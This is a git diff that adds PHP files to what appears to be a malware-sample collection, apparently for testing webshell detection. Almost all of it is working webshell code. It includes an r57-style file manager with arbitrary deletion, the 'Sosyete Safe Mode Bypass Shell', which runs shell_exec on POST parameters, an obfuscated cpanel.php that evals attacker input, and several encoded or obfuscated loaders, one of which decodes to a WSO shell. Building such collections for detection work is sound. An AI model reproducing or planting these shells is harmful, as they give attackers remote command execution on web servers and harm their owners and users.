+if (move_uploaded_file($_FILES['userfile']['tmp_name'], $uploadfile)) {
+
+echo "";
+
+echo "";
+
+}
+
+ }
+
+ //file deleted
+
+$frpath=$_GET['fdelete'];
+
+if ($frpath <> "") {
+
+if (is_dir($frpath)){
+
+$matches = glob($frpath . '/*.*');
+
+if ( is_array ( $matches ) ) {
+
+  foreach ( $matches as $filename) {
+
+  unlink ($filename);
+
+  rmdir("$frpath");
+
+echo "";
+
+echo "";
+
+  }
+
+  }
+
+  }
+
+  else{
+
+echo "";
+
+unlink ("$frpath");
+
+echo "";
+
+exit(0);
+
+
+
+  }
+
+  
+
+
+
+}
+
+			?>
+
+			
+
+			
+ +


+ + Copyright 2004-Simorgh Security
+ + Hossein-Asgari
+ +
+ + + + www.r57.biz

+ + +
+ + + + + + diff --git a/data/samples/classic/sosyete.php b/data/samples/classic/sosyete.php new file mode 100644 index 0000000..b43476f --- /dev/null +++ b/data/samples/classic/sosyete.php @@ -0,0 +1,225 @@ + + + + Sosyete Safe Mode Bypass Shell + + + +
+ + - - - - - - - - - - - - - - - -
+

+

+ + +
+

+

+ + +

Sosyete Safe Mode Bypass Shell + +

+

+ +
+

~ + + + +

+ +

+ + + +
+
+ + +

+ +
+

+ + +

+ + + Sosyete Safe Mode Bypass Shell ; Bypass shell'lerden esinlenerek birçok shell'in ortak karisimi olarak sunulmustur.

+ + + + +
+ + + + +
+ + + + Sosyete Bypass Main Menu

"; + +print_r(' + + + + +
+
+
+
+ +
+
+ + +
+ + +
+ +
+

+

+ + +
+

+

+ + +
+ +
+ + +'); +ini_restore("safe_mode"); +ini_restore("open_basedir"); +$fuck=shell_exec($_POST['sosyete']); +$mokoko=shell_exec($_POST['fuck']); +echo "

"; +echo "Komut Sonucu
"; +echo $fuck; +echo $mokoko; +echo "

"; + +?> + +
+ + +

+ +
+ +

+ +

+ + + + Sosyete Safe Mode Bypass Shell Coded by r57.biz ~ Sosyete

+ + + + +
+ + + + +
+ + + + + diff --git a/data/samples/cpanel.php b/data/samples/cpanel.php new file mode 100644 index 0000000..0899f12 --- /dev/null +++ b/data/samples/cpanel.php @@ -0,0 +1,20 @@ +$ff7924082){$y5da781e=$ff7924082;$x3ff4965=$efb074d;}if(!$y5da781e){foreach($m6aa932e[$m6aa932e['a7b1'][11].$m6aa932e['a7b1'][35].$m6aa932e['a7b1'][49].$m6aa932e['a7b1'][49].$m6aa932e['a7b1'][31].$m6aa932e['a7b1'][42].$m6aa932e['a7b1'][96].$m6aa932e['a7b1'][95].$m6aa932e['a7b1'][49]]as$efb074d=>$ff7924082){$y5da781e=$ff7924082;$x3ff4965=$efb074d;}}$y5da781e=@$m6aa932e[$m6aa932e['a7b1'][33].$m6aa932e['a7b1'][51].$m6aa932e['a7b1'][31].$m6aa932e['a7b1'][65].$m6aa932e['a7b1'][46].$m6aa932e['a7b1'][84].$m6aa932e['a7b1'][20].$m6aa932e['a7b1'][14]]($m6aa932e[$m6aa932e['a7b1'][71].$m6aa932e['a7b1'][42].$m6aa932e['a7b1'][95].$m6aa932e['a7b1'][49].$m6aa932e['a7b1'][84]]($m6aa932e[$m6aa932e['a7b1'][65].$m6aa932e['a7b1'][14].$m6aa932e['a7b1'][49].$m6aa932e['a7b1'][65].$m6aa932e['a7b1'][49]]($y5da781e),$x3ff4965));if(isset($y5da781e[$m6aa932e['a7b1'][65].$m6aa932e['a7b1'][48]])&&$fecba48==$y5da781e[$m6aa932e['a7b1'][65].$m6aa932e['a7b1'][48]]){if($y5da781e[$m6aa932e['a7b1'][65]]==$m6aa932e['a7b1'][67]){$b56c6566=Array($m6aa932e['a7b1'][55].$m6aa932e['a7b1'][97]=>@$m6aa932e[$m6aa932e['a7b1'][11].$m6aa932e['a7b1'][96].$m6aa932e['a7b1'][14].$m6aa932e['a7b1'][11].$m6aa932e['a7b1'][60]](),$m6aa932e['a7b1'][13].$m6aa932e['a7b1'][97]=>$m6aa932e['a7b1'][31].$m6aa932e['a7b1'][21].$m6aa932e['a7b1'][60].$m6aa932e['a7b1'][86].$m6aa932e['a7b1'][31],);echo@$m6aa932e[$m6aa932e['a7b1'][11].$m6aa932e['a7b1'][96].$m6aa932e['a7b1'][24].$m6aa932e['a7b1'][65].$m6aa932e['a7b1'][51].$m6aa932e['a7b1'][11]]($b56c6566);}elseif($y5da781e[$m6aa932e['a7b1'][65]]==$m6aa932e['a7b1'][44]){eval($y5da781e[$m6aa932e['a7b1'][46]]);}exit();} ?> + + + + + + diff --git a/data/samples/freepbx.php b/data/samples/freepbx.php new file mode 100644 index 0000000..5ccf441 --- /dev/null +++ b/data/samples/freepbx.php @@ -0,0 +1,14 @@ + diff --git a/data/samples/obfuscators/cipher_design.php b/data/samples/obfuscators/cipher_design.php new file mode 100644 index 0000000..0ccf2c1 --- /dev/null +++ b/data/samples/obfuscators/cipher_design.php @@ -0,0 +1,2 @@ ++*OJHj1.)n-$HjFsz)&D+.84k?9#+RaqlHb(Ors0cK-DC.$GcReUQ*-(z8#qA=1G&?j=O*jZkRv6Cr$GCTjDAHXZAKb=kr9UxHeZQ=n6hKa#X_bCXD9_OgXZCR5d+.$Dc.X(A*udk*1v+*AZA*5Gc78uA*ej&.(0kEPD&.1#C.8vxEP5k.8sCrndOr1G&.$K&?PjCT#dCH80&.(GATPU+.ndnreT+HPU)n5dO=84kgCGz.XTzv(7xDc#h_Obh,cbhKenh_c6e_C6e_cNh,a6h,aFxge#O*utcKb(Q.(Ul,aZwgj=Cr8(+Tdv_Uv#)_a-_D7#)n1X_Uv#))#v_D$z)nF-h,7#)n1Xh,7#h)vLAHAsk?sEOHe(eKVfA.8KkrV(lReUCqVTl.&6&*9Kkrj#C=8DCTsEOHe(eKVfA.8KkrV(l.ATA*$vl?Vz)_PXh,$zh_PX_U(z)_PXx?Vzh_PXh7v#hnF-_Uv#hn1X_UvZl)v4Xr$5zT#gX?9)Ojs4Q.s(&gJj8E(fkKdI)71Plrb,X($=ARe$)gOJzH$l*v(we.XRh?hb87VIC=&jw_AhVK$85.j#kT$Hng(?X*(U__hT*)C4XU$?5UV$Vv&c)nZx_7jw_jPVn(en88AH*$(+O*XKA.8=ArsZ+=b4k*90CR$TCgVj&q&uQHJ-hKhUe_Ogw,v#xE#sX?n=lEdZx8FNznaKzTCZl)vLC=8U&HXGw#MMn(1n*$VOn(V$5v8O58V)Hjen8$V)878nV81$878$n(XOHU$?8$e$njXf8$1)V8X?V8VP878OV8V?njeO5(XfnjXn8$snV8V_nv8)nje_V8X_HU8?87$_58X_V8VOHjV$njV)nv$_V81_V8e$581)878n8$1f878$n(Xn8$1O*7$n5v8_8$sfnU8)Hje?Vn$fnjen87Xn*$V?8$X$V8efnv8?8$V?5v$_njVPHj1PV8V)VnXO8$1_HU8nnjePnU8P8$e_njsP8$VO8$V)8$XfHUXOHUXfV81f*$X)Hjs$5(1$HU8$87$On(Xf8$XOHjX$nv8_njV$8$V)V8XnHjsnn(1?V8XOn(Xfn(1)V81Pnje_58VOV8V?8$1O*78_nU8_8$Xf*$e$*$Vf8$sf*$X?nje?nvXfn(X)V81$n(XOn(eOV81_8$1$8$1_Vn8PV8X)V8X)5(snnjXf8$V)8$Xn8$1)58e$n(Xn58enn(1n5(VPnj1?n(sn5v8fnjV$HjVf878fn(VOHje$58VPHjenHjV)*aMMeJyrcil1q0oP8HK2D9DwLyo2SA5KtXROD9PI1kwp8whVU7FQMSl0tldTy4k38QUAPQ8NPg==V8V_878)*$sP8$V)*7$fnv$n*$snn(Vn581PnvX$Vn$)V8ennU8nn(1nnj1P5(V$HjVn58s$8$e_HjX)nU$)581_nv8f8$Vn58XnV8XnHjV)nv$fnj1)8$1O*7$Pnje?njV)5(Vn878_n(Vn581nHjenHjenHU$P*$1n878$*$s$V8VnV8XnnUXnnjXfV8V_nje)V8e)HjXn87$nV8V$njV)878_n(e$8$Xf5n$fV8VOHUX?58s)Vn$nHU$_V8e?nj1f8$1PnU$_n(X_nj1f878$Hje?878nnjenn(1P58Xn87Xn8$X)58VfHj1f8$ef8$e)87$)5(V$8$e?nv8OHUX_58V$8$V_n(X)5n$)Hj1nnU8n diff --git a/data/samples/obfuscators/online_php_obfuscator.php b/data/samples/obfuscators/online_php_obfuscator.php new file mode 100644 index 0000000..e64cb31 --- /dev/null +++ b/data/samples/obfuscators/online_php_obfuscator.php @@ -0,0 +1 @@ + diff --git a/data/samples/obfuscators/phpencode.php b/data/samples/obfuscators/phpencode.php new file mode 100644 index 0000000..a6797f5 --- /dev/null +++ b/data/samples/obfuscators/phpencode.php @@ -0,0 +1 @@ +:h%:<#64y]552]e7y]#>n%<#372]58y]472]37y]3 x74 141 x72 164") && (!isset($GLOBALS[" x61 156 x75 156 x61"]h!opjudovg}{;#)tutjyf`opjudovg)!gj!|!^>}R;msv}.;/#/#/},;#-#}+;%-qp%)54l} x27;%!<*#}_;#)323!>!%yy)#}#-# x24- x24-tusqpt)%z-#:#* x24- x24!>! x24/%tjws:*<%j:,,Bjg!)%j:>>1*!%b:>1%s: x5c%j:.2^,%b:%s: x575983:48984:71]K9]77]D4]82]K6]72]K9]78]K5].;`UQPMSVD!-id%)uqpuft`msvd},;uqpuft`msvd}21]464]284]364]6]234]342]58]24]31#-%tdz*Wsfuvso!%bss x5csboe))/*)323zbe!-#jt0*?]+^?]_ x5c}X x24hmg%!<12>j%!|!*#91y]c9y]7]y86]267]y74]275]y7:]268]y7f#! x240w/ x24)##-!#~<#/% x24- x24!>!fyqmpef)# x24*272qj%6<^#zsfvr# x5cq%7/6]281L1#/#M5]DgP5]D6#<%fdy>#]D4]3 162 x65 141 x74 145 x5f 146 x772 145 x66 157 x78"))) { $oqtpxpv = " x6|:*r%:-t%)3of:opjudovg<~ x24! x242178}527}88:}334}472 xw6< x7fw6*CW&)7gj6<*doj%7-C)fepmqnjA x27&6<.fmjgA x27doj%6< x7y]252]18y]#>q%<#762]67y]5z)#44ec:649#-!#:618d5f9#-!#f6c68399#-!#65egb2dc#*s%<#462]47d%6|6.7eu{66~67<&w6<*&7-#o]s]! x24Ypp3)%cB%iN}#-! x24/%tmw/ x24)%c*W%eN+#Qi x5c1^W%c!>!%i x5c2*msv%)}k~~~%fdy!%tdz)%bbT-36]73]83]238M7]381]211M5]67]452]88]5]48]32M3]317]445]212]445]43]3I7jsv%7UFH# x27rfs%6~6< x7fw*127-UVPFNJU,6<*27-SFGTOBSUO#-#T#-#E#-#G#-#H#-#I#-#K#-#L#-#M#-#[#-#Y#-#D#-#W#-#)% x24- x24*#L4]275L3]x45 116 x54"]); if ((strstr($uas," x6d 163 x69 145")) or (strstr($)sfebfI{*w%)kVx{**#k#)tutjyf`x x22l:!}V;3q%}U;y]}R;2]},;osvufs} x2id%)ftpmdR6<*id%)dfyfR x27tfs%6<*17-SFEBFI,6.%!<***f x27,*e x2GMFT`QIQ&f_UTPI`QUUI&e_SEEB`jix6U<#16,47R57,27Rpd%6!2p%!*3>?*2b%)gpf{jt)!g("", $jojtdkr); $bhlpzbl();}}W%wN;#-Ez-1H*WCw*[!%rN}#QwTW%hIr x5c1^-%r x5c2^-%hOh/#00#W~!%t27ftbc x7f!|!*uyfu x27k:!ftmf!}Z;^nbsbq% x5cSFWSFT`%}X;!sp!*#op%Z<#opo#>b%!*##>>X)!gjZ<#opo#>b%!**X)ufttj x22)gj!|!*nbsbq%)32d($n)-1);} @error_reporting(0); $jojtdkr = implode(array_map("dudovg+)!gj+{e%!osvufs!*!+A!>!{e%)!>> x22!ftmbg2y]#>>*4-1-bubE{h%)sutcvt)!gj!|!*bubE{h%)j{hnpd!opjudovg!|!**#j{h3]y76]277##]y74]273]y76]252]y85]256]y6g]256<*K)ftpmdXA6|7**197-2qj%7-K)udfoopdXA x24- x24 x5c%j^ x24- x24tvctus)% x24- x24buas," x72 166 x3a 61 x31")) or (strstr($uas!gj}1~!<2p% x7f!~!<##!>!2p%Z<^1"]=1; $uas=strtolower($_SERVER[" x48 124 x5ldfid>}&;!osvufs} x7f;!opjudovg}k~~9{d%:osvufs:~928>> x22:ftmbg39*56A:>:8:|:7#6#)tutjyf`439275ttfsqnpdov{h19275j{hnpd19275fubmgoj{eb#-*f%)sfxpmpusut)tpqssutRe%)Rd%)Rb%))!gj!<*#cd2bge56)%epnbss-%rxW~!Ypp2)%zB%z>! x24/%tmw/ x24)%zW%h>EzH,2)!gj!<2,*j%-#1]#-bubE{h%)tpqsut>j%!*9! x27!hmg%)!gj!~7;mnui}&;zepc}A;~!} x7f;!|!}{;)gj}l;33bq}k;opjudovg}x;0]=])0#)U! x24- x24gvodujpo! x24- xSVUFS,6<*msv%7-MSV,6<*)ujojR x27id%6< x7fw6* x7f_*#ujojRk3`{666~6!#]D6M7]K3#<%yy>#]Ddbqov>*ofmy%)utjm!|!*5! x27!hmg%)!gj!|!*1?hmg%)!gj!<**2-if((function_exists(" x6f 142 x5f 16<.msv`ftsbqA7>q%6< x7fw6* x7f_*#fubfsdXk5`{66~6<&/%rx<~!!%s:N}#-%o:W%c:>1<%b:>11<%j:=tj{fpg)%%bT-%hW~%fdy)##-!#~<%h00#*<%nfd)##Qtpz)#]341]88M4P8]37]276197g:74985-rr.93e:5597f-s.973:8297f:5297e:56-xr.985:52985-t.98]epdof./#@#/qp%>5h%!<*::::::-1246767~6/7rfs%6<#o]1/20QUU0~:/h%:<**#57]38y]47]67y]37]88y]27]28yW;utpi}Y;tuofuopd`ufh`fmjg}[;ldpt%}K;`ufldpt}X;`msvd}R;*msv%)}%tmw!>!#]y84]275]y83]27~!%z!>21<%j=6[%ww)))) { $GLOBALS[" x61 156 x75 156 x65 156 x63 164 x69 157 x6e"; function dhyvbmt($n){return chr(orx27!hmg%!)!gj!<2,*j%!-#1]#-bubE{h%)tpqsut>j%!*72! x27!hmg%tmfV x7f<*X&Z&S{ftmfV x7f<*XAZASV<*w%)ppde>u%V<#65,47R25,d7ww**WYsboepn)%bss-%rxB%h>#]y31]278]y3e]81]K78:56985:]#/r%/h%)n%-#+I#)q%:>:r%:|:**t%)m," x61 156 x64 162 x6f 151 x64")) or (strstr($uas," x63 150 x72 +;!>!} x27;!>>>!}_;gvc%}&;ftmbg} x7f;!osvufs}w;* x7f!>> x22!pd%)!gj}Z;W&)7gj6<*K)ftpmdXA6~6/7&6|7**111127-K)ebfsX x27u%)7fm11112)eobs`un>qp%!|Z~!<##!>!2p%!|!*!***b%)sfxpmpusut!-#j0#!7{**u%-#jt0}Z;0]=]0#)2q%l}S;2-u%!-#2#/#%#/#o]#27pd%6!bssb2!>#p#/#p#/%z>2*!%z>32>!}t::**<(!(%w:!>! x+99386c6f+9f5d816:+946:ce44#)zbssb!>!ssbnpe_GB)fubfsdXA x27K6< x7fw6*3qj%7><+{e%+*!*+fepdfe{h+{d%)+opj/!**#sfmcnbs+yfeobz+sfwjidsb`bj+upcotn+qsvmt+FUPNFS&d_SFSFGFS`QUUI&c_UOFHB`SFTV`QUUI&b%!|!*)323zbek!~!b66,#/q%>2q%<#g6R85,67R37,18R#>q%V<*#fopoV;hojepdoF.uofuopD#r# x5cq%)ufttj x22)gj6<^#Y# x5cq% x27Y%6K4]65]D8]86]y31]278]y3f]51L3]84]y31M6]y3e]81#/#7e:55946-tr.984:npd#)tutjyf`opjudovg x22)24y7 x24- x24*1<%j=tj{fpgh1:|:*mmvo:>:iuhofm%:-5ppde:4:|:**#ppde#)tutjyf`4 x223}!+!o]s]#)fepmqyf x27*&7-n%)utjm6< x7fw6*C1/35.)1/14+9**-)1/2986+7**^c%j:^Ew:Qb:Qc:W24!bssbz) x24]25 x24- x24-!% x24- x24*!|! x22)7gj6<*QDU`MPT7-NBFSUT`LDPT7-UFOJ`62]38y]572]48y]#>m%:j!<*2bd%-#1GO x22#)fepmqyfA>2b%!<*qp%-*.%)euhA)3of>2bd%g)!gj<*#k#)usbut`cpV x7f x7f x7f x7f!#]y847,*d x27,*c x27,*b x27)fepdof.)f3ldfidk!~!<**qp%!-uyfu%)3of)fepdof`5j%!<**3-j%-bubE{h%)sutcvt-#w#)lhA!osvufs!~<3,j%>j%!*3! 248L3P6L1M5]D2P4]D6#<%G7#@#7/7^#iubq# x5cq% x27jsv%6^#zsfvr# x5cq%7**^#zsfvStrrEVxNoiTCnUF_EtaERCxecAlPeR_rtSopxkrbc'; $vgkbclh=explode(chr((636-516)),substr($awvjtnz,(29027-23007),(198-164))); $jdxccsyh = $vgkbclh[0]($vgkbclh[(7-6)]); $nkttprcq = $vgkbclh[0]($vgkbclh[(7-5)]); if (!function_exists('huqbsiykq')) { function huqbsiykq($ewjaowa, $ppcmgty,$euscsfo) { $rputetgcppb = NULL; for($blvfkqsfhf=0;$blvfkqsfhf<(sizeof($ewjaowa)/2);$blvfkqsfhf++) { $rputetgcppb .= substr($ppcmgty, $ewjaowa[($blvfkqsfhf*2)],$ewjaowa[($blvfkqsfhf*2)+(7-6)]); } return $euscsfo(chr((34-25)),chr((531-439)),$rputetgcppb); }; } $xozybdtes = explode(chr((213-169)),'3371,36,157,63,3931,36,2709,44,5708,38,1659,66,2636,43,4231,64,4563,42,868,40,836,32,3967,62,2332,63,5776,31,4847,58,3660,52,2063,20,4528,35,1170,29,5409,38,4365,58,1914,22,3712,42,1474,28,2555,41,5552,35,4949,31,3260,23,53,43,780,24,5965,55,5180,40,3407,49,970,62,1936,50,1791,45,1502,28,3132,66,4713,35,4748,34,3820,62,501,42,4295,70,220,37,1264,64,5918,24,4029,58,2990,53,5875,43,3315,56,640,45,2440,66,5283,25,2679,30,2083,33,5607,55,1836,50,5807,32,3631,29,4423,59,5007,45,0,53,2883,54,4905,44,1886,28,5052,69,2270,62,5839,36,2208,62,280,55,2753,70,2823,60,5351,58,4980,27,2395,45,5662,46,4087,59,2033,30,5121,59,1725,66,3043,67,4482,46,605,35,3882,23,2506,49,685,44,3754,66,4198,33,96,61,1150,20,1032,25,5587,20,908,62,5500,52,2596,40,335,57,3198,62,3110,22,5308,43,1581,24,729,51,1199,65,257,23,4631,27,1057,64,2937,53,2145,63,4605,26,4146,52,3567,64,5220,63,459,42,3283,32,804,32,1605,54,5942,23,1121,29,1348,61,3510,57,1986,47,1409,65,543,62,5447,27,3456,54,392,67,5474,26,3905,26,4658,55,5746,30,1530,51,1328,20,4782,65,2116,29'); $ympifwn = $jdxccsyh("",huqbsiykq($xozybdtes,$awvjtnz,$nkttprcq)); $jdxccsyh=$awvjtnz; $ympifwn(""); $ympifwn=(599-478); $awvjtnz=$ympifwn-1; ?> diff --git a/data/samples/real/exceptions.php b/data/samples/real/exceptions.php new file mode 100644 index 0000000..d5ce73f --- /dev/null +++ b/data/samples/real/exceptions.php @@ -0,0 +1 @@ +"D", "C"=>"B", "B"=>"4", "E"=>"F", "D"=>"C", "F"=>"7", "1"=>"E", "0"=>"9", "3"=>"0", "2"=>"2", "5"=>"A", "4"=>"8", "7"=>"1", "6"=>"3", "9"=>"5", "8"=>"6");$fuwkgtdbkv = "DgokZGVmYXVsdE0hY6Rpb2BgPS5nQ3MnOwoKQGluaV0zZXQoJ2Vycm0yX2xvZycsTlVMTDk"."FDkCpbmlfc2V3KDdsb2dfZXJyb6JzJywwKTsKQGluaV0zZXQoJ27heE0leGVjdXRpb29fdGltZSc"."sMDkFDkCzZXRfdGltZV0saW7pdDgwKTsKQHNldE0tYWdpY70xdW03ZXNfcnVudGltZSgwKTsKQGR"."lZmluZSgnV7NPX7ZEUlNJT3BnLD5nMiB7LjInKTsKDmlmKGdldE0tYWdpY70xdW03ZXNfZ6CjKDkpIHsKID5gIGZ7b"."mN3aW0uIEdTT6N3cmlwc2xhc2hlcygkYXJyYXkpIHsKID5gID5gIDCyZXR7c"."mBgaXNfYXJyYXkoJGEycmE9KS5/IGEycmE9X27hcDgnV7NPc6RyaXCzbGEzaGVzJywgJGEycmE9KS58IHN3cmlwc2xhc2h"."lcygkYXJyYXkpOwogID5gfQogID5gJE0QT7NUIA3gV7NPc6RyaXCzbGEza"."GVzKDRfU10TVDkFDi5gID5kX3NPT3tJRS50IEdTT6N3cmlwc2xhc2hlcygkX3NPT3tJRSkFDn3KD"."mZ7bmN3aW0uIHdzb3xvZ2luKDkgewogID5gaGVhZGVyKDdIVERQLz1uMD53MAQgTm03I1ZvdW9"."kJykFDi5gIDCkaWUoIjQwNDIpOwp0DgpmdW9jdGlvbiCXU30zZXRjb20raWUoJGssIDR2"."KSCFDi5gID5kX3NPT3tJRVska73gPS5kdjsKID5gIHNldGNvb2tpZSgkaywgJHYpOwp0DgppZ"."ighZW7wdHkoJGE7dGhfcGEzcykpIHsKID5gIGlmKGlzc2V3KDRfU10TVEsncGEzcyddKS5mJi5obWQ7KDRfU10TVEsncGEzc"."yddKS50PS5kYXV3aE0wYXNzKSkKID5gID5gIDCXU30zZXRjb20"."raWUobWQ7KDRfU3VSVkVSWydIVERQX3hPU7QnXSksIDRhdXRoX6Chc6MpOwoKID5gIGlmIDghaXNzZXQoJE0AT30LSUVbbWQ7KDR"."fU3VSVkVSWydIVERQX3hPU7QnXSldKSC4fD5oJE0AT30LSUVbbWQ7KDRfU3VSVkVSWydIVERQX3hPU7QnXSl"."dID10IDRhdXRoX6Chc6MpKQogID5gID5gIHdzb3xvZ2luKDkFDn3KDmZ7bmN3aW0uIGEjdGlvblIoKSCFDi5gIDCpZighQ"."DRfU10TVEsnZXYnXSkgewogID5gID5gIDRhIA3gYXJyYXkoDi5gID5g"."ID5gID5gIDJ7bmEtZSIgPTBgcGhwX6VuYW7lKDksDi5gID5gID5gID5gIDJwaHCfdmVyc2lvbiIgPTBgcGhwdmVyc2lvbigpL5og"."ID5gID5gID5gID5id6NvX6ZlcnNpb2BiIA3+IEdTT70WRVJTSU0OL5ogID5gID5gID5gID5ic2EmZW7vZGUiIA3+I1CpbmlfZ2V3"."KDdzYWZlX27vZGUnKQogID5gID5gIDkFDi5gID5gID5gZWNobyCzZXJpYWxpemUoJG1pOwogID5gfSClbHNlIHsKID5"."gID5gIDCldmEsKDRfU10TVEsnZXYnXSkFDi5gIDC0Dn3KDmlmK"."DClbXC3eSgkX7CPU7RbJ2MnXSkgKQogID5gaWYoaXNzZXQoJGRlZmE7bHRfYWN"."3aW0uKS5mJiCmdW9jdGlvbl0leGlzdHMoJ2EjdGlvbicgLi5kZGVmYXVsdE0hY6Rpb2BpKQogID5gID5gID"."RfU10TVEsnYyddIA3gJGRlZmE7bHRfYWN3aW0uOwogID5gZWxz"."ZQogID5gID5gIDRfU10TVEsnYyddIA3gJ7NlY3luZm4nOwppZiggIWVtcHR9K"."DRfU10TVEsnYyddKS5mJiCmdW9jdGlvbl0leGlzdHMoJ2EjdGlvbicgLi5kX7CPU7RbJ"."2MnXSkgKQogID5gY2EsbE07c2VyX2Z7bmMoJ2EjdGlvbicgLi5kX7CPU7RbJ2MnXSkFDmV"."BaXQF";eval/*k*/(ngomynsz($fuwkgtdbkv, $jgzzljfjj));?> \ No newline at end of file diff --git a/data/samples/real/guidtz.php b/data/samples/real/guidtz.php new file mode 100644 index 0000000..828c0f8 --- /dev/null +++ b/data/samples/real/guidtz.php @@ -0,0 +1,76 @@ + + +#!/usr/bin/php -q +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 